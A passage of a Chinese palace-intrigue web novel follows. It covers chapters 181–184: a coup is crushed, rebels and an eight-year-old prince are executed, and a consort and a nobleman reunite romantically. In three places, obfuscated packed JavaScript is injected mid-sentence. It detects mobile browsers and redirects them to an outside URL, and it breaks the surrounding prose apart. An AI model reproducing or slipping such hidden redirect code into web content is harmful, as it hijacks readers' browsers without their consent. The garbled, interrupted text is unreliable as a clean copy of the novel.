“我在想,自省。”霍灵渠抒发道:“祖母在要求我大伯时应该从未想过她自己的责任,人是不是许多都偏于驱使他人而无视自己的承担?” 皇帝答:“是。” 霍灵渠进言:“所以陛下不应该忘记自省二字。” 嬴忱璧莞尔:“是。” 夕阳落,天黑了,霍未央伴在贵妃身侧,霍贵妃传众嫔妃来关雎宫,翁嫔第一个跑来,霍灵渠目视坐在她身边的小婴儿,嘱咐翁嫔:“看顾好四皇子。” 翁嫔快速看过皇儿,连忙点头,最近风声那么紧,还有郭修仪和大皇子的反常,大家多多少少都有些猜测,今夜贵妃突然传召,八成就是今夜了。 众嫔御陆续到来,宫女一数,禀告贵妃:还差郭修仪和楚美人。 霍灵渠派几个宫人去翡素轩把楚美人带来,得令的宫娥退下,回来时仍然没有楚美人,宫女跪下请罪道:“奴婢没用,请不动楚美人,请贵妃责罚。” 莫名的,翁嫔不耐烦,楚美人到底在活个什么呀,就这么不知事吗? “带一队人过去,把人绑过来,翡素轩的宫人今夜禁足。”霍灵渠吩咐。 “喏。”宫娥利索去办事,很快把楚美人带来,贵妃看都没看一眼,她们也就痛快把楚美人扔在角落里了,翁嫔都不想看她,霍未央小姑娘瞟瞟收回视线,有几个新人关注几眼后也自顾自,尚宝林尚好扯扯周姐姐的衣袖,周宝林摇摇头。 静谧滴在沙漏,三三两两或坐或站,一刻钟都仿佛极漫长。 霍灵渠拢在袖中的手握住海螺,祈望平安。 然,霍雄鹰可嫌反贼慢,皇城和太微宫各有禁军和神策军,代王今夜还想拨出两千人去除掉批大臣,如何能确保成功?这几天,禁军和神策军有几人就发财了。 殿门终于被撞破,芮尚书和侯瞻逊以及郭家叔侄拥着郭修仪和大皇子迈入,霍雄鹰看得想冷静,蒋厚运大总管低低头,步昂想让他们打进来怕是真不容易。皇帝嬴忱璧一眼扫过,帝王的威冷袭来,郭修仪忽然害怕,抓过儿子的手臂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573678|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大皇子忍不住打颤,想跑了。 嬴忱璧漠然问:“魏王前些天遇刺,至今未醒,谁做的?” “代王爷。”芮尚书道:“他和晋王、郢国公在太微宫。” “郢国公?”皇帝讽刺的笑了,问芮尚书:“代王或晋王摄政,能有你的好?” “总比在你手里强。”芮尚书嗤之。 嬴忱璧乐了:“总比在我手里强?”皇帝倏然愠怒:“好,说得好!朕曾与穆国公言,假若郭家犯下满门抄斩的大罪,霍老夫人想给郭家保下一丝血脉,他当如何?穆国公说,霍家从未想郭家死,郭家可曾想过对霍家留余地?他不会答应他的母亲。 倘若他娘要与他成仇,看谁有本事吧,这世间,夫妻、父子、母子,什么人都能成仇,只要自己问心无愧。不给郭家保下一丝血脉,穆国公说,他问心无愧。” 嬴忱璧盯着芮尚书,目光灼灼:“朕对你,问心无愧。” 芮尚书逼退眼底的泪意,厉声道:“好!郭修仪,请大皇子送陛下上路!” 郭修仪打个冷颤让自己镇定,推推儿子,大皇子心跳得厉害,鸩酒送过来,他想拿,手一直在抖,拿不住,还洒出来了一些,他触电般收回手,让小太监跟他上前去。 厚运总管在心里摇头,郭修仪是连晋王要让大皇子来递鸩酒意味着什么都不知。 大皇子若递上这杯鸩酒,谁都可诛杀大皇子了。 走上玉阶,大皇子冒寒气,咬着嘴巴想哭:“父,父皇你,你喝了吧。” 嬴忱璧雷霆大怒:“你才八岁,就想弑父?” “我,我,”大皇子害怕得转身,看见他们更害怕,转回去,哭道:“我,我,父皇……我,儿臣,儿臣也是没办法,父皇你就喝了吧。” “没办法?”嬴忱璧哈哈笑:“郭修仪抢你的膳食,你只是吃不饱,你都知道找贵妃,面对生死你却没办法?有谁禁你的足,你不能来找父皇吗?” “我,我……”大皇子想退又无法退,闭着眼睛嚎:“谁让你要生那么多儿子,谁让你不让我做皇帝,我就是不想让你活着碍着我和我娘,你赶紧去死吧。” 嬴忱璧怒发冲冠:“你真要弑父?” “对!”大皇子喊破喉咙一般吼,似要把他活八岁以来的力量都使出来。 “亲自把鸩酒给我端上来!”嬴忱璧骂。 大皇子霍然睁眼睛,用力端起酒杯摆在桌上,凶恶恶绷着脸。 嬴忱璧注视着大皇子像是要在瞬间看尽八年:“好,今夜,你我父子缘尽。” 皇帝话音落地,跟在大皇子身边的小太监踢向大皇子的膝盖把他按跪在地上,拿麻绳把他绑起来,反叛的几位还没反应,武襄侯和班丞相率领禁军涌入,众禁军把这些逆贼缚住,举刀抵在他们脖子上,郭修仪吓得晕过去,侯瞻逊难以置信的看着他爹。 “郢国公昨夜都越狱了,谁还看不出来?”武襄侯淡淡道。 皇帝嬴忱璧站起来,处置:“大皇子、郭修仪废为庶人赐死,给大皇子留个全尸,武襄侯府夺爵,升平大长公主废为庶人,侯家旁支未与侯瞻逊同谋者概不株连、在仕途者罢免,当此非常之时侯尚书暂且留任,郭家与芮家夷三族。” 侯尚书跪下:“臣谢陛下隆恩。” 侯瞻逊苦涩自嘲的想笑,眼泪不争气的流下来,好啊,清净了,一家人在地下团圆吧。郭家叔侄和芮尚书预感不好要告饶,皇帝已背过身:“推出太极殿,斩!” 三人大惊,魁梧的禁军还得两人拖一个才把他们仨拖走,侯瞻逊没反抗就被押走了,郭庶人腿上被刺两刀后痛醒,被拖出殿外还在喊痛,霍雄鹰看得真嫌恶得够了。 皇帝在看大皇子,大皇子灌下鸩酒气绝,已经殁了。 没有太久,步统领提着首级来禀告:这五个反贼已悉数处死。 嬴忱璧逐一扫视过,说:“过两天就是大雪了吧。” 不必谁应话,皇帝喃喃自语:“倒是不大冷。” 182. 第182章 太微宫的消息仿佛阻塞,寝殿安宁,太上皇在病榻,他们杀到病榻前,霍太后把碗盏给婢女,扶圣人坐起来。太上皇大马金刀的坐在床沿,只着寝衣仍然威势不减,盯着这几人,代王、晋王、郢国公父子,他狠狠一笑:“你们,哪个做主啊?” “自然是大皇子。”代王说道:“今夜,圣人和陛下暴毙,大皇子继位。” “你们控制得住吗?”太上皇就像看儿戏,还是代王说:“今夜,还会有十几位圣人和陛下的股肱良臣追随两位于地下,圣人尽管放心去和你爹团聚。” 在暗室的穆国公霍秦川想替他们捉急呀,居然还没人察觉,你们杀到寝殿了,太上皇都好像没收到过消息,看见你们才意识到,正常吗? 太上皇嘲讽:“五十三年了,你也五十四岁了,我父生前对你很不错,小叔在前三十年对你也很疼爱教育,你知道你为什么仍然活得像个缩头乌龟吗?” 代王懒得理会他的口舌之快。 “纵使我和在京中的孩儿今夜遇害,我还有两个儿子在外,我还有两个亲侄儿在外。”太上皇告诫道:“还有小叔,他们手上握着五十多万大军,而你呢?你能调动什么,你今夜就是能把京中反对你的人全杀了,你来日还不只会是我儿子的刀下亡魂。” “圣人费心了。”代王击溃:“蜀王、冠军侯和镇南侯今夜都会陪您上路。” “五十多年。”太上皇恭维:“当真不容易了,头发早熬白了吧。” “是!”代王霍然发泄:“你不该觉得我五十多年的心血还会有遗漏?!” “那你为什么不把代王世子带着?”不带,还不是怕失败,想给自己留个后,这么相信自己还要忧虑?太上皇戳破,代王下巴微抬:“他去找老秦王了。” “哦。”太上皇目光射向郢国公:“镇南侯府后宅女眷被杀是你做的?” 郢国公承认:“是。” 太上皇奚落:“何不死扛到底,是自己都觉得还想要点脸吗?” 郢国公端着脸像施舍将死之人没有理会,太上皇嫌恶道:“好一张看似忠厚的脸,霁儿和魏王也没冤枉你,你是郗家的同伙,你派了杀手去刺杀英王世子?” “是。”郢国公再承认,太上皇看着让他作呕的嘴脸,抑住心里的爆发:“鞠家和庄氏在二十多年前就有勾结,是鞠家帮着庄氏在霍家做下了那桩案子?” 郢国公闭下眼睛仍然没有隐藏:“是!” 霍秦川看他真要死的,还没多想。 太上皇乐了:“你想走摄政王的路?” 晋王扫过郢国公,瞥向代王,代王讥讽勾唇,晋王压压火,郢国公世子怔下看向父亲,郢国公略微不自然下即驳斥:“我听不懂你在说什么。” 我、你?在俯视君王?太上皇心里赫然冷笑斥,果然是蠢货! “二十多年前就和庄氏勾结,若是你们阴谋得逞,鞠家该得到什么,妄想权倾朝野,会不想再进一步?凭什么不想,以你鞠家的虚伪,凭什么不想?”太上皇扫视他们,鄙夷道:“在寡人面前四个人,原来三个都做着皇帝梦。” 就你们这种还妄想成事?太上皇明晃晃的看不上了。 晋王窝火,他和代王是还得争,但被老爹就这样揭穿总归不舒服。 代王都有点不舒服,虽然两人彼此清楚,但眼下他不好多言,不然反而像不打自招。 郢国公呛回:“你以为你这点挑拨离间,谁会信?” 太上皇已懒得再看,抬抬手臂,霍太后扶圣人站起来,一个头颅同时抛来,四人看清是代王世子的首级,皆神情大变,他们看过去,魏王、蜀王、冠军侯、湘王、吴王、简郡王和秦王、穆国公、晏副相还有瑞执大长公主。 代王晕眩,四人如坠冰窖。 原牧炽闲得没劲,刚才的首级就是他扔的,在暗室没劲,出来也没劲,没一个能打的,老皇帝真是的非得把他也叫来,这种造反跟玩似的有什么好磨叽。 “对了,那啥,镇南侯让我帮他问问,你为什么要杀害他府上的女眷?”他问郢国公,郢国公闭目驱驱寒:“庄太妃得到消息,霍灵渠是嬴天漾的小妾。” “就这么个原因你就把人家府上年纪相近的女子全杀了?”原牧炽飙高音。 “对!”郢国公猛然冷厉:“既然找不准哪个,全杀就是。” “你这种人,活该诛九族!”原牧炽唾弃,晏副相道:“鞠家昨夜送走的家眷已全部截下押在城外,宫室外的反贼也已尽数绞杀,眼下,就你们四个反贼还站着。” 郢国公父子难以置信,晋王悲凉闭眼睛,像只浑身湿重的落汤鸡。 代王眼中迸血:“你,你怎么会察觉,怎么会知道,怎么会事先防备好?” “你有点脑子好吧,你都没让人放心过,还有晋王,简直不要太显而易见,你们这种,皇帝和老皇帝若都不防备,契丹和交趾早八百年前打进来了。”原牧炽怼,谁让他无聊呢:“我来了几天了,天天闷在太微宫里,害得我都只能跟蜀王比划。” 阿胜踹他一屁股,原牧炽转头瞪瞪他。 代王疼得牙齿打颤,郢国公世子冷不丁杀出,想劫持太上皇,原牧炽赤手空拳迎上去,郢国公握着刀也杀去,阿胜拔刀,哥俩先后把这对父子打垮,神策军涌进屋来把反贼缚住,晋王灰头土脸,代王苦痛,郢国公猩红着眼瞪视太上皇,满目不甘。 太上皇视线掠过,对上郢国公,视线也没停留,收拾道:“晋王废为庶人赐死,诛满门;代王废为庶人赐死,夷三族;显国公府夺爵,鞠家庄家诛九族。” 九族?郢国公心中一凉看向霍秦川,穆国公未见情绪,一如魏王还没怎么关注过晋王,神策军把逆贼往外押走,一直没出声的晋王突然喊:“等等,”他看向他的父亲问:“父皇,我们兄弟,算上已故的大哥二哥,孩儿在你心里能排第几?” 太上皇看向第七子,给了坦率:“寡人不知道。” “但你喜爱的儿子一定没我的份。”在生命尽头,晋王发现他对死也看得开。 “是吧。”太上皇昂首:“给晋王留个全尸,另外三个,拖出去就地斩了。” 晋王和着眼泪磕头:“儿子谢父皇。” 湘王不好受,他不同情,但老七对失败太坦然了,老七打心底里是晓得他不会成功但他没得选了只能这条道走到黑吗?湘王看向两个弟弟,两位小王爷低低头。 反贼皆被带走,郢国公还想闹闹呢,晋王竖着出去,横着被神策军抬进来,已殁,还有三颗头颅送进来给圣人过目后,众人退下,远处,宫人们在打扫血污。 夜不宁,散尽黄粱梦。 晨曦照耀京师,走在反贼府邸的将士们铠甲冒银光,晏明妧要逃,逃不掉,作为反贼家眷被打入死牢,被废做庶人的侯夫人懵了,儿媳、孙子孙女们尽皆被押走,她回不过神来,被官兵赶出她的公主府,她站在街上,一阵寒颤冷入心肺,慌忙要去找丈夫。 犹如天崩地裂般熬过两天,侯夫人既憔悴更逼着自己去找小妹让小妹帮帮她。新都大长公主按长姐的要求,带她去太微宫。 她们候在大殿前,侯尚书赶来,新都大长公主派人请他同来太微宫怎么都推不掉,侯尚书亲自来说声。 新都留道:“大姐夫留下吧,还有件事,我们想大姐夫亲眼看见好。” 侯尚书沉吟下,同意了。太上皇传唤,侯夫人看向小妹,新都没往大殿里走,而是说:“大姐真晓得你来找皇兄的目的吗?两天了,你去看过你的儿孙们了吗?” 侯尚书垂眸,老太太凄哀,仿佛不知该怎么接话,新都却像没看见,还要再撒几把盐:“假若这次变故没有累及你,你还是大长公主,你还会来走这趟吗? 是不是你真的能认,过继个儿孙奉养你终老,富贵安稳老死,至于你被定死罪死了的儿孙们就当没有过,你真的能当他们没有过再摆副皇兄对不住你的架势?” “小妹,你在说些什么呀?”老太太听不懂像是要被妹妹逼哭了,新都转头往大殿走,侯尚书带着夫人跟上。大殿里,皇帝、湘王、冠军侯都在,他们问过安,瑞执道:“大姐,五妹有话跟你说,当着皇兄和大姐夫的面,这段往事做个了结吧。” 侯夫人茫然看着她,侯尚书突然有不好的预感,王夫人站出步,张口就道:“大姐夫,你还不知道吧,温献皇后的四公主就是我这大姐你这妻室偷摸害死的。” 侯尚书不可思议的看向身边人,侯夫人要哭了:“五妹妹,你在说些——” “你装什么佯?!”王夫人可受不了她的装模作样,一把打断:“我让你转送了多少礼,我都告诉你了,这是庄氏母女俩的心意,不过是你也巴望着四侄女死了省得她要扒着侯瞻让要给你做儿媳妇了,你乐见其成,配合着庄氏母女亲手把这侄女害死了。” 侯夫人辩驳,姐妹对呛,侯尚书不想再听,磕个头,往殿外走,步履摇晃,一直挺直的背脊也弯了。 原牧炽闷闷的在想撤了,湘王已经跑掉,独自跑个僻静处,湘王难受,做什么要这样虚伪险恶啊?这大姑母慈眉善目的为何竟也这样坏? 侯夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍漓江不想说话,霍秦川都有点鬼鬼祟祟,刚才差点吓到他:“霍漓江你真不觉得吗,就你闺女刚才那语气那神情,那活脱脱就是个在训丈夫的模样嘛。” 霍漓江想略过。 京中的清洗袭来,清查反贼同伙及余孽,查到文郯侯生前不检点,念在文郯侯已死,与反贼勾连不深,着文郯侯府夺爵,喻家在仕途者罢免,算是这场清算中结果最好的人家了。晏明妧作为反贼家眷被斩首,是晏如瑰和晏琼勋给她收殓。 鞠家、庄家、芮家、郭家……死罪的犯人都正法了。 涉及有一万多人。 侯尚书给家眷收殓尸骸、安葬,递上致仕的辞呈,回府,枯坐到天黑,他拿出鹤顶红,在饮前回顾此生,原牧炽撞门狂冲进屋撞上他、把他手里的鹤顶红撞翻,老太爷转头看去,原牧炽喘着气劝:“你干啥想不开呀?” “冠军侯走吧。”侯老太爷谢过好意了:“老夫也要走了。” “走啥走呀,明年就要当爹了。”原牧炽操心。 “许姨娘回她自家,我没什么不放心的。”侯老太爷不以为意。 “但你做啥想死,想心里好受?你自觉对得起你自己的良心,你还有什么对不住他们,你若什么都没了,我不拦着你,但你还有一娃呢,你若活得长久一点,你没准还能活到你娃十几二十几岁,你真觉得你死了还是活着对你那还没出生的娃会没差别吗?” 原牧炽苦口婆心:“你真别寻死了,不然我时时刻刻盯着你,咱俩都累。” “是啊,大哥。”侯二老太爷进屋来,温言良语:“咱们时时刻刻盯着你,你没机会的,往事已经过去了,明年我小侄儿出生,有新生命降生了就是新生。” 侯老太爷闭目低下头。 而在霍家,是郭家姑奶奶的霍老夫人形容枯槁,郭家没了,屋子再暖,她都冰凉凉的。二十几天前她和丈夫对峙,大儿跪着,她和丈夫剑拔弩张,她只是想给郭家留下一丝血脉,整个郭氏一族多少人,留下个还不晓事的孩童都不行吗? 他们不肯! 她被气得口不择言:“你们不要逼我?!” 霍擎很平静,跪着的霍秦川抬头,站起来,在屋外的霍漓江踹门进来,义愤填膺,金刚怒目,还算对亲娘有保留,霍老夫人猛地心骇跳,视线移向大儿,霍秦川冷漠严肃,是他看死敌时的沉着持重,老夫人霎时脑子嗡嗡嗡的就绷不住了。 她…… 霍老夫人抱着孙女给她做的长袄,泪流满面。 183. 第183章 嬴天漾在腊八前两天收到霍家的信。 俩人在学馆呢,嬴天漾拆第一封信,把信纸扔给晏霁之,霍漓江的信:我闺女猜晏霁之来找你鬼混了,是不是给个话,晏霁之心说:猜的真准。 晏霁之前几天来的,今天在学馆,他们是要商量当地的教育。 嬴天漾看过第二封信,沉着脸把信给晏霁之,晏霁之一看,讶然。 信纸上写着:太上皇赐酒会让你绝育,信不信在你,署名是:霍灵渠。 “我不是替你这伯伯说话,但圣人这做法没什么让人意外。”你爹可是造反了,晏霁之把霍漓江的信给他,把霍灵渠的亲笔信自个儿收好,拉着犯别扭的崽去他目前暂住的府邸。其实嬴天漾自己也能理解,但理解是一回事,不恼火动怒是不可能的。 一到住处,嬴天漾就去耍大刀了。 “你还挺想给自己留个后?”看他差不多消火了,晏霁之说点风凉话。 嬴天漾瞬间喷他:“你不想给自己留后?”冲去他面前,拿起水壶灌下几口,再迁怒:“怎是茶水?”他当酒的,晏霁之略过,嬴天漾没好气地拿两块糕点吃。 “看你没有娶妻的想法嘛。”晏霁之靠在椅中晒太阳,暖和。 “是没有。”嬴天漾探讨:“你说我要不要娶个媳妇?” “你受得了吗?”一屋子女人,晏霁之闲想想,童年伴读,这堂兄弟俩闹腾得跟他就不像一路人,他和他们两个的走向应该是霍海啸和魏王呀,怎么还能关系挺不错?是有相似。嬴天漾摊手:“但我要生儿子,肯定要有女人,那我不选妻、选妾啊?” “纳个妾,你把她放屋里就行了,但娶妻,你能不让妻室出门能没有岳家吗?再者这女人你若只是拿来生儿子的,妾,你想打发就能打发,但妻,你能等她生下儿子后休妻吗?”晏霁之比照道:“妾对你没有妨碍,妻室对你会有束缚。” “所以我没有娶妻的想法嘛。”嬴天漾纠结:“但妾生的儿子就是庶出了。” “你要生几个儿子?”晏霁之给他捋一捋,嬴天漾:“呃……” “若不娶妻,妾室生下儿子后,你留不留?”晏霁之又点出:“若留,她心思正还好,若她小心思多,你也烦,而且后院要有人当家,你还不如娶妻。” 嬴天漾摸摸下巴:“我应该就带着儿子过,不要女人?” 晏霁之戳:“你打算有个儿子就够了?” 嬴天漾:“呃……” “想多几个?”晏霁之追问,嬴天漾不耐烦:“烦死了,你说你要是早跟我说了霍灵渠是你的流光姨娘,我不就没这么多事了,我把她抢过来,她想几个生几个。” “你几时回京?”晏霁之拿出水囊抿口酒,嬴天漾盯盯他刚拿出来的水囊,绝对是在报复他刚才那话,忍住,才懒得跟他抢口酒喝,敷衍道:“刚打下来呢,我不留着镇得住吗?我若是过一两个月就走,我前脚走,后脚就得出乱子。” “你该很清楚,嬴忱璧不可能放任你在外拥兵自重,回京,安稳。”晏霁之劝。 “我若是不回去,你来打我?”嬴天漾不屑,晏霁之善意道:“轮不到我,嬴忱璧一定会让嬴忱旌来,老六不知,他想做原牧炽,大家都能陪着,但他已经知道了,过两年,他愿不愿意回皇家都得把原牧炽的身份还给他表哥,做回嬴忱旌。” “阿漾,老六是没有野心的。”换言之,你有。 嬴天漾气闷,晏霁之调侃:“你不是嬴忱璧的对手啊,两个你都不是你这堂哥的对手,想跟嬴忱璧掰掰手腕,你也就没几年活头了,何必想不开呢?” 嬴天漾瞪他:“老六真失忆了?失忆是个什么毛病啊,给我来个这么新奇古怪的毛病。”相当于默认了,回京。晏霁之也不意外这么好劝,阿漾有点野心,但做富贵闲人,他也能,回京而已能有什么不愿意,何况回京,嬴忱璧保管会用他。 但,原牧炽?晏霁之若有所思。 “你看,他会一个人过下去吗?你还想要儿子,他会否连儿子都不想要?” “他有未婚妻。”嬴天漾吐槽:“有未婚妻也就算了,居然是个婢女,你说他搞什么,给我整这么多稀奇古怪的毛病,北地没女人吗?他看上个婢女。” 晏霁之告诉他情况。 嬴天漾刚饮的茶水全喷了:“你想吓我啊你?” “没跟你开玩笑。”晏霁之正经的,嬴天漾脑壳卡卡,忍不住扒着他的手臂:“不,不,不是吧,那,我……啊呀,老子要飚脏话了,你,这么件事?” “他会一个人过吗?”晏霁之考量,嬴天漾撇撇嘴:“当然不会了,他会跟老五抢,老五除非把他宰了,否则休想挡得住他。” “还有我呢。”晏霁之宣告,嬴天漾愣下缓缓看向他,有点莫名:“你?” 晏霁之淡淡笑,不容置喙道:“当然是我。” 嬴天漾扭头,直觉的不想面对,晏霁之踹他:“你看好谁啊?” “对上你,老六应该会没有冲劲。”嬴天漾审视。 “我过了腊八走。”晏霁之想,她挂念他了,他就年前回京吧。 “嗯。”嬴天漾浑似不在意。 晏霁之拿水囊跟他碰杯,嬴天漾白他,把茶当酒喝。 皇宫中,霍灵渠带着宫人们给杀敌的将士们做棉袄备干粮,诸多官眷纷纷进宫来相助,这热火朝天还有小婴儿来凑热闹,小婴儿能爬了,一会儿就把自己淹没在棉袄堆。 翁嫔看着皇儿可爱极了,把孩儿抱起来,整颗心都热热的。 楚美人不在。 桓炜彤和霍舒窈说:“传到二皇子耳中,怕会是贵妃故意冷落楚美人。” 霍舒窈反感:“咱们都自己来的,她就非得派人去请?” 滕王回京,一进城就马不停蹄去找太上皇伯伯和皇帝堂兄,大臣们夜以继日废寝忘食,太上皇和皇帝大怒,登州、莱州相继被外夷攻入,眼下青州告急! 蜀王在江南杀敌,太上皇和皇帝就把魏王踹去山东了,让冠军侯帮衬魏王,给魏王下死命令绝不能让山东局势恶化,再再传旨护国公,北境绝不能有失! 原牧炽和魏王率军奔赴山东,出京后,安营扎寨的第一夜,原牧炽就嫌魏王:“我觉得我跟你合不来,要不然你去南边把蜀王换过来,我跟他还能处处。” “今晚小年夜。”别找事,魏王警告。 原牧炽郁闷地烤肉,嘀咕道:“还好今年不算冷,不然路都没法走。”腌肉是皇帝拨的,霍贵妃率众备的棉衣和干粮原本要送去南方,他们行军,皇帝额外拨给魏王了。 “你说,我改明儿跟霍贵妃敲一笔,她会给吧,虽说霍贵妃是为名声,但她给的实在,过年了,大家吃好一点嘛,吃饱了才有力气杀敌。” “会。”魏王应,原牧炽挑根眉毛,他当他自言自语呢,没想魏王会搭话,烤肉熟了,原牧炽夹一碗烤肉给魏王,魏王接了没嫌弃的吃起来,原牧炽扬扬眉。 已是正徽五年的年底了,官衙仍旧繁忙,皇帝给的新春假期是除夕和大年初一,两天,霍秦川忙得想说他宁愿去前线杀敌,班丞相呵呵,穆国公别说笑话了。 霍舒窈庆幸,萧家避过去了。 “全绑了?”霍灵渠确认,霍舒窈嗯道:“绑了,以后做陌生人都是最好的。” “贵妃,英王世子求见。”宫娥禀告。 霍灵渠心肝抖下,他回来了,今天腊月二十六了,他竟会冒着寒冷赶路回来,霍灵渠难以遏制的羞赧,霍舒窈看妹子这小样,晏霁之进来,一袭貂袍似还带着风霜,霍灵渠瞄眼,没想过就下意识低头,霍舒窈识趣地要走,晏霁之拦道:“舒窈,打个掩护吧。” 霍舒窈:“……”过分了吧。 霍灵渠心里微微发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589614|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热,抬眸,一下对上近在咫尺的脸庞,霍灵渠差点打个激灵,忙不迭站起来快步去内室,进门刚找到美人榻落座安安心神,他就进来了,霍灵渠像定在美人榻,看着他,她的心似要烧起来又手足无措,晏霁之走到女人身边将她拥入怀。 霍灵渠忽然心就落定了,靠在他怀里回抱他,晏霁之把他的貂袍给女人披好。 “我给你做了件袄子。”霍灵渠呢喃。 “嗯,我昨天下午回京的,昨天夜里,你爹派人给我送来了。”晏霁之知道,柔柔道:“这旧袄跟你那件貂袍是一起做的,回京的第一面,我想穿这衣袍来见你。” 霍灵渠抬头,想看他又不想看他:“你怎么冒着寒冷回来了?” 晏霁之貌若正经:“不是你想我了让我回来的?” “谁说的?”霍灵渠不承认,晏霁之失笑:“好,我想你了。”简单几字,霎时令霍灵渠心安,扭捏没了,她抬手抚着他脸,不错眼的注视:“你瘦了,憔悴了,还疲惫。” 晏霁之握住她的纤手,将人拥住。 霍灵渠双手都握住他的手,他的脸凉,还好手很暖,记挂道:“两个多月前,当时,就是你当时跳崖是根本没往下跳就攀在崖壁上吗?” “攀崖上,崖下都是来追杀的,不是给自己找担惊受怕?”晏霁之看着她,四目相对,含情脉脉,霍灵渠险些想避开他的视线,晏霁之忽然觉得孤寂,这样看着她都觉得孤寂:“我在崖壁上牵着绳索,我一跳下就抓着绳往南滑去、逃之夭夭了。” “你疯了?”抓着根绳在崖壁上逃跑,霍灵渠想想都危险:“你受伤了?” 霍灵渠要检查,晏霁之抱住她:“还好。” “以后、以后再不准——”霍灵渠怔住,她,她有什么资格要求? “嗯?”晏霁之凝视,霍灵渠低眸,很怪,她一样会要求爹爹、桑柔,但要求晏霁之的感受又与要求爹爹和妹妹时的感觉不一样,她很清楚是不同的感受但又说不准是什么感觉,晏霁之悦然,帮她把话说出来:“以后再不准犯险了?” 霍灵渠小脸闷闷:“我说了,你肯听吗?” 晏霁之拿腔:“你相信我能听吗?” 霍灵渠抬手拍他,晏霁之乐道:“好了,没事我做什么要去犯险?” “没看出来,看你这事做的,多会逞能啊。” “情势使然嘛,你不都猜到了我不可能会愿意东躲西藏。”晏霁之讨好,霍灵渠不愿意轻易就范否则他就不长记性,晏霁之发誓:“真的,我还要娶媳妇呢。” 霍灵渠立时瞪他,晏霁之不满:“你凶什么,你不知道我想要娶你啊,至于一句话都听不得吗?”他以为霍灵渠不愿意嫁给他连他说都不满意,霍灵渠微诧,没想到自己头上呢,晏霁之说要娶媳妇就想他要娶别人,霍灵渠想起来跟他还有笔账。 “你在扬州收了两个美人还带她们游湖?” “人家送,就收了几天。”晏霁之跟她贴脸,霍灵渠在心里翻脸:“几天?” “四十几天吧。”晏霁之犯困倦,想念的赖着她,想把全身的重量都倚向她。 霍灵渠捏捏手:“那除了游湖,你还带她们做什么了?” “没了。”晏霁之诉道:“这就是两个细作,人家送,我就收下摆几天。” 有什么好摆的,霍灵渠在心里嘀咕,看着好像眷恋她的人,她不得劲,怎么都不得劲,他还喜欢她呢就能收美人,以后呢:“你会娶妻吗?我说的不是娶我。” “当然是娶你。”晏霁之喜笑颜开:“放两辈子的心,我就是你一个人的。” 霍灵渠脑中轰然,我? 我的? 对,她,她懂了,她也会要求爹爹和妹妹,但不会觉得他们是她的,但对晏霁之,她在想要求晏霁之时是会想晏霁之是她的,霍灵渠心砰砰跳,她想晏霁之是她的。 184. 第184章 阔别四个多月的吻落下。 霍灵渠受刺激得,猛一个颤栗激入脑髓,她连忙捧住他的脸,想给他散散热:“若是,若你早几天回来,皇帝仍然会想让魏王去山东而不是让你去吧?” 晏霁之浅浅亲着她的唇、她的小脸,不想被扫兴,霍灵渠撒娇:“霁之~~” 被搅扰的人真想按按太阳穴,晏霁之抱紧她,霍灵渠贴着他又想抬头看他,没一会儿,晏霁之抬手揉揉她的脑袋,霍灵渠看他,晏霁之说:“我陪魏王去。” 霍灵渠抚他脸,晏霁之握住女人的柔荑,总括道:“宗室亲王掌军,眼下虽烽烟四起,但平乱还是以宗室亲王为主。宗室是难处置得当,但关键时候宗室也要有人,有利于震慑,是蜀王和魏王比众多老将会打仗吗?当然不是。 但他们是太上皇的儿子、皇帝的兄弟,这是旗帜,压制不安分、昭示嬴家天下的旗帜,目前的形势,必定是宗室亲王挂帅。皇帝若不想用魏王和蜀王,湘王和简郡王都能派出去,他们两个什么都不会都无妨,霍家和班家能帮衬得住就行。” 霍灵渠嘟嘟小嘴,晏霁之失笑,指腹点点她的唇:“在想,朱家就算了,毕竟十多年泼天荣宠一叶障目看不清了,鞠家是有多瞎啊就他们那点斤两居然也敢生出心思来。” “没有。”霍灵渠嘴硬,晏霁之打趣:“难怪你祖父是会想激流勇退吧。”这意思就是,若不然霍家是不是也敢想一想啊? 霍灵渠抬手拍他:“胡说。” 晏霁之谦谦笑:“难怪我家也只敢缩着脑袋做人。” 霍灵渠看他,看得快陷进去,都想,他再吻她,她过会儿再阻拦时,晏霁之凉凉的声音传来:“来前,我问陛下,魏王既把兵符拿出来了,陛下可问过魏王,悼太子托付保管兵符之人是何许人也,你猜怎么着?” 霍灵渠:“……” 霍灵渠略不自然的转过视线,晏霁之算账:“我们谈过这件事。” “你猜呀,我都跟你说了,你把符合条件的人猜一遍,谁让你不猜我。”霍灵渠佯装,晏霁之霍然亲近她,额头抵着额头,有些心酸:“真没想过要用吗?”你都不知道,我得知是你拿着河间军的兵符时是多大的震动。 “嗯,嗯。”霍灵渠呼吸有些艰难:“这块兵符是大哥哥让我保管、不是让我私用的。” 霍灵渠想往后退些偏又像是在他怀里生了根,手软,腿发麻,怎么都动不得:“霁,霁之,” 晏霁之猛然抱她拥吻,急切,热烈,几乎要将女人吞没。 